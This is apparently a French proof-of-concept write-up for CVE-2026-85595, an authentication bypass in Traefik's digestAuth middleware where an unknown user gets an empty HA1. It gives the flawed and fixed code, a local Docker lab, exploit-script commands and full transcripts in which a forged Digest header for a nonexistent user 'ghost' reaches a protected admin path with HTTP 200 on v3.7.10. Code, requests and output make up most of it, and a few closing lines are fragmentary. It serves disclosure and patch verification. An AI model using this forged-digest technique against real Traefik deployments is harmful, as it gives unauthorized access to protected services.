
CVE-2026-85595 — contournement de l'authentification digestAuth de Traefik (nom d'utilisateur inconnu => HA1 vide). Vérifié en laboratoire : contournement en v3.7.10, 401 en v3.7.11.
digestAuth authentifie des utilisateurs inconnus (secret vide)Affecté : Traefik < 2.11.55, et 3.0.0 – 3.7.10
Corrigé : 2.11.55 / 3.7.11
Correctif : commit b975dcaa8c48 de containous/go-http-auth « Reject DigestAuth when user secret is empty », intégré dans Traefik par le commit 2116686308a2 (mise à jour de go.mod)
Avis : GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
Le middleware digest de Traefik résout le HA1 de l'utilisateur via sa propre recherche de secret
(pkg/middlewares/auth/digest_auth.go) :
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
CheckAuth de go-http-auth prend alors ce "" comme HA1 et calcule
(digest.go:191-203 avant le correctif) :
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets vaut false pour Traefik (le fichier users contient déjà HA1), donc
HA1 reste la chaîne vide. Toutes les entrées de KD sauf HA1 sont contrôlées par l'attaquant ou
fournies par le challenge 401 (nonce, opaque), et la vérification de uri accepte le
chemin de la requête elle-même. La réponse est donc calculable sans aucun mot de passe et
sans aucun nom d'utilisateur existant dans le fichier users.
Le correctif tient en trois lignes dans la bibliothèque :
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik lui-même n'a nécessité aucune modification de code — seulement la mise à jour de la dépendance — c'est pourquoi le
diff de la v3.7.11 ne contient aucun hunk digest_auth.go.
| rôle | image | conteneur | port hôte |
|---|---|---|---|
| proxy vulnérable | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| proxy corrigé | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
PathPrefix(/admin) sur l'entrypoint digest, middleware digestAuth
(realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). L'utilisateur ghost utilisé par le PoC n'y figure pas.poc-traefik-app (python:3.12-alpine), sert ADMIN-AREA … pour /admin/*.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE écrit la transcription ; --path, --user remplacent le chemin cible
et le nom d'utilisateur falsifié.
traefik:v3.7.10 vulnérable — contournement$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
Le journal d'accès du proxy enregistre l'identité falsifiée comme un utilisateur authentifié
(ClientUsername est le deuxième champ après l'IP du client) :
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 corrigé — digest forgé rejeté$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc) n'est pas nécessaire
au-delà de l'usage unique.digestAuth sur une version affectée,
et contre 2.11.x < 2.11.55.